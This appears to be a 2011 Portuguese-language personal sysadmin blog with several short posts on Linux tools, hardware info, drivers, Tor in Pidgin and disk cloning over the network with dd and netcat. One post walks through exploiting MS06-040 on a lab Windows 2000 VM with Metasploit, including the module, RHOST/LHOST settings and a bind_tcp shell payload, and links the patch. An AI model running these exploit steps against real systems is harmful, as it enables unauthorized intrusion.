terça-feira, 18 de outubro de 2011

Conversão de arquivo texto puro entre linux e windows

Solução muito interessante a qual converte textos puros linux para windows e vice-versa.

# apt-get install dos2unix


$ unix2dos teste.txt
unix2dos: converting file teste.txt to DOS format ...


O arquivo teste.txt será convertido de forma a ser visualizado corretamente no windows.

O inverso também funciona normalmente:
$ dos2unix teste.txt
dos2unix: converting file teste.txt to UNIX format ...

terça-feira, 4 de outubro de 2011

Coletar informações de hardware

Comando muito útil para pegar informações do hardware como números de série, identificação de tipo de memória (DDR1, 2, 3), detalhes da BIOS. Enfim uma boa solução de se ver o tipo de hardware existente na máquina sem precisar abrí-la !!!

# dmidecode (resultado completo)

# dmidecode -t (número do tipo de informação desejada conforme a tabela abaixo)

obs.: Esta tabela foi retirada do manual do próprio comando. Veja demais opções no próprio man.


Type   Information
----------------------------------------
          0   BIOS
          1   System
          2   Base Board
          3   Chassis
          4   Processor
          5   Memory Controller
          6   Memory Module
          7   Cache
          8   Port Connector
          9   System Slots
         10   On Board Devices
         11   OEM Strings
         12   System Configuration Options
         13   BIOS Language
         14   Group Associations
         15   System Event Log
         16   Physical Memory Array
         17   Memory Device
         18   32-bit Memory Error
         19   Memory Array Mapped Address
         20   Memory Device Mapped Address
         21   Built-in Pointing Device
         22   Portable Battery
         23   System Reset
         24   Hardware Security
         25   System Power Controls
         26   Voltage Probe
         27   Cooling Device
         28   Temperature Probe
         29   Electrical Current Probe
         30   Out-of-band Remote Access
         31   Boot Integrity Services
         32   System Boot
         33   64-bit Memory Error
         34   Management Device

         35   Management Device Component
         36   Management Device Threshold Data
         37   Memory Channel
         38   IPMI Device
         39   Power Supply

segunda-feira, 26 de setembro de 2011

Identificação e Exploração de vulnerabilidade - chutando cachorro morto

Cobaia: windows 2000 rodando no virtualbox

1) ligar windows 2000 e configurar rede (no meu caso 50.0.0.10)
2) com Nessus, fazer varredura na maquina win2000
3) identificar a vulnerabilidade ms06-040
4) Com nmap, identificar a porta 445 aberta (etapa não obrigatória)
nmap 50.0.0.10 -p 445
5) Metasploit
    $ msfconsole
    show exploits (identificar o ms06-040)
    use windows/smb/ms06_040_netapi
    set RHOST 50.0.0.10 (IP do alvo)
    set LHOST 50.0.0.2 (IP origem)
    show payloads (o que se deseja apos explorar vulnerabilidade)
    set PAYLOAD windows/shell/bind_tcp
exploit

Para consertar a vulnerabilidade, baixar o patch http://technet.microsoft.com/en-us/security/bulletin/ms06-040

Instalação do Nessus

Vamos direto ao ponto para não complicar.

a) Acessar para fazer download em http://www.tenable.com/products/nessus/nessus-download-agreement
No meu caso foi .deb para 64bits: http://downloads.nessus.org/nessus3dl.php?file=Nessus-4.4.1-debian5_amd64.deb&licence_accept=yes&t=26b8a3dbd1ccd6c38aeb0b2fe925ad0a



b) instalar normalmente
# dpkg -i Nessus*.deb

c) Após a instalação ele dá os passos, que são:

# /opt/nessus/sbin/nessus-adduser (criar usuario)

d) registrar no site: http://www.nessus.org/register/:
A chave de registro bem como as instruções são enviadas para o e-mail.
Normalmente faz-se assim:
# /opt/nessus/bin/nessus-fetch --register (chave que recebeu no email)

e) rodar o servidor nessus:
# /opt/nessus/sbin/nessusd


f) acessar a interface gráfica e utilizar:
https://localhost:8834

obs.: pode-se criar outros usuários não-administradores via linha de comando ou na interface web.

Instalação do Metasploit

Testado em Debian e Ubuntu, mas creio que funciona para qualquer outra distribuição uma vez que foi utilizado pacote universal.

1) baixar o pacote instalador em http://www.metasploit.com/download/:
No meu caso baixei o 64bits full setup (http://updates.metasploit.com/data/releases/framework-4.0.0-linux-full.run)

2) Alterar para root com "su -" e instalar o pacote dentro o /opt:
$ su - (atenção, não funcionou com "su", pois não carrega todas as variáveis de ambiente)
# chmod 700 framework*.run
# ./framework*.run  (deve perguntar se deseja atualizar base, então diga sim)

3) Atualizar a base de dados caso não o tenha feito:
# msfupdate

4) Utilizar o metasploit como usuário comum:
$ msfconsole

Quanto ao uso do metasploit, futuramente coloco algumas instruções.

segunda-feira, 12 de setembro de 2011

Ubuntu 11.04 x Dell Vostro 3450 c/ placa gráfica ATI Radeon 6600

Infelizmente não consegui funcionar a placa gráfica AMD Radeon HD6600M Series no Ubuntu 11.04. Este problema não é particularidade do Ubuntu, mas pelo que li em alguns foruns, devido a placa possuir somente ainda drivers proprietários, não tem como desenvolvedores Linux aprimorarem o driver de forma que ele funcione como deveria.

Minhas placas gráficas são:
#lspci | grep VGA
Intel Corporation 2nd Generation Core Processos Family Integrated Graphics Controller (rev 09)
ATI Technologies Inc NI Whistler [AMD Radeon HD 6600M Series] (rev ff)

Enquanto aguardo este parangolê funcionar direito, a solução que utilizo (baseando-me no artigo VGAswitcheroo – Tópico Definitivo), foi fazer com que o módulo da placa gráfica radeon carregue DEPOIS da placa onboard e isto pode ser feito da seguinte forma:

1°) colocar o módulo radeon na blacklist, o que o impedirá de ser carregado primeiro:
echo "blacklist radeon" >> /etc/modprobe.d/blacklist.conf

2°) Carregar o módulo radeon no script rc.local e desligar a placa radeon para economizar energia do notebook. Para isto, edite o arquivo /etc/rc.local e insira as seguintes linhas antes do "exit 0":

modprobe radeon
echo OFF > /sys/kernel/debug/vgaswitcheroo/switch

A respeito da 2ª linha acima, um resumo de opções possíveis(informações obtidas do link mencionado anteriormente):
ON – liga a placa gráfica secundária (e que não está sendo utilizada no momento)
OFF – desliga a placa gráfica secundária (e que não está sendo utilizada no momento)
DDIS – alterna a placa gráfica discreta(popular offboard), como a placa primária da sessão.
DIGD - alterna a placa gráfica integrada, como a placa primária da sessão.

quarta-feira, 31 de agosto de 2011

Script de reinicialização para Windows

Infelizmente algumas aplicações comerciais AINDA rodam apenas em Windows. Outras ainda por cima EXIGEM que o usuário tenha permissões de administrador para que o sistema funcione. Na minha opinião trata-se de algo inaceitável quando se fala em segurança da informação. Porém deixemos esta questão para discussão futura.
Uma solução que ajuda um pouco na segurança, é colocar o executável do programa para ser inicializado ao login do usuário, de forma que o usuário fique preso somente à aplicação e não ao ambiente windows do servidor (como eu disse ajuda "um pouco" na segurança).
Caso seja necessário reiniciar o windows, o qual tem como "plugin" a necessidade de ser reinicializado por diversos motivos (algumas vezes inexplicáveis), sugiro a criação de um usuário qualquer, o qual tenha um script de execução para ser ativado ao se logar. Exemplo: crie um usuário chamado "reiniciar" e tenha como executável o script "reiniciar.bat".

O conteúdo do script deverá ser algo como:
@echo off
cls
echo ATENCAO: o servidor sera reiniciado dentro de 10 segundos,
pause
shutdown /r /t 10 /f

Onde as opções do comando shutdown são:
/r para reiniciar
/t 10 aguardar 10 segundos para executar
/f forçar a reinicialização (independente do que estiver rodando na máquina

quarta-feira, 22 de junho de 2011

Habilitar o uso do TOR no PIDGIN

Ao editar uma conta já criada no pidgin, acesse a aba "proxy" e selecione o tipo de proxy "socks 5". Em seguida preencha o Host com "127.0.0.1" e Porta com 9050.

Considerando que o polipo já esteja configurado, agora é só navegar.

terça-feira, 1 de fevereiro de 2011

Copiar HD via rede usando dd e nc

A algum tempo me deparei com um problema típico: fazer a instalação idêntica de um sistema Linux (na época era um Slackware) em um laboratório com mais de 30 computadores. Como é sabido pelos que atuam na área, a clonagem usando o Ghost nem sempre funciona bem.

A solução viável então seria a utilização do comando "dd", porém ele sozinho ainda não seria viável. Imagine tirar mais de 30 HDs um a um das máquinas destino e colocá-los na máquina origem, dar o boot e executar o DD para copiar... Seria um trabalho muito cansativo e sinceramente não tão eficiente.

A solução que utilizei foi a seguinte:

1) Instalar o sistema e configurá-lo em apenas uma máquina (denominada origem).

2) Na máquina origem, após instalado e configurado o sistema, dar boot com um LiveCD Debian (para que o sistema não inicie do HD da própria máquina).

3) Na máquina destino também dar boot com um LiveCD Debian.

Obs.: Neste momento ambas as máquinas (origem e destino) inicializaram utilizando um Debian LiveCD (sistema independente do HD das máquinas).

4) Conecte uma máquina à outra utilizando um cabo CROSSOVER. É imprescindível esta forma de conexão, pois a possibilidade colisão pode-se dizer que é nula, uma vez que o tráfego será direto de uma placa a outra, sem intermediários e direção oposta de dados trafegando. A utilização de switch não foi satisfatória(obtive erro de cópia em 25% das máquinas).

5) No destino execute os seguintes comandos:

$ sudo su
# ifconfig eth0 10.0.0.2 netmask 255.255.255.0
# nc -l -p 9000 | dd of=/dev/hda


Obs.: Após o último comando, o prompt deverá ficar piscando sem nenhuma informação, aguardando o envio dos dados. Mantenha esta máquina inativa, até o término completo da operação. Só será exibida alguma mensagem ao término do processamento. A única característica de presença de funcionamento é o LED de indicação de leitura/escrita do HD funcionando freneticamente.

6) Na origem execute os seguintes comandos:

$ sudo su
# ifconfig eth0 10.0.0.1 netmask 255.255.255.0
# dd if=/dev/hda | nc 10.0.0.2 9000


Assim como na máquina destino, após o último comando, o prompt deverá ficar piscando sem nenhuma informação. Observe o LED de indicação de leitura/escrita do HD em funcionamento.

7) Após o término da operação, será exibido uma mensagem do comando dd indicando a quantidade de dados copiados e o prompt normal aparecerá novamente na tela de ambas as máquinas (origem e destino).

Neste momento a cópia está completa, bastando dar o boot normal na máquina destino e testar o sistema copiado.

Como no meu caso eram várias máquinas destino, o que fiz em seguida foi:

a) selecionar a nova máquina de destino
b) executar os passos 3, 4, 5 e 6

Esta solução possibilita mais agilidade e eficiência no procedimento uma vez que não é necessário abrir nenhuma máquina, sendo apenas necessário o manuseio de cabo, ligando-o às máquinas desejadas (origem e destino).

Finalizo dizendo que nada é perfeito. Fazendo a cópia desta forma, obtive erro em 2% das máquinas, o que melhorou muito em comparação ao uso do ghost.

Descrição dos comandos utilizados nos passos 5 e 6:
  • sudo su -> mudança para usuário root no liveCD
  • ifconfig -> configuração da placa de rede (no exemplo deve estar na mesma subrede)
  • dd -> comando para cópia idêntica (bit a bit) de um arquivo ou partição. No caso utilizei para a cópia do HD inteiro.
  • nc -> (netcat) comando que realiza leitura/escrita através de conexões de rede.

A última linha nos passos 5 e 6, é uma combinação dos comandos "dd" e "nc", que fazem a copia de origem e destino, considerando que ambos estão em pontos de rede diferentes.

Obrigado, até a próxima.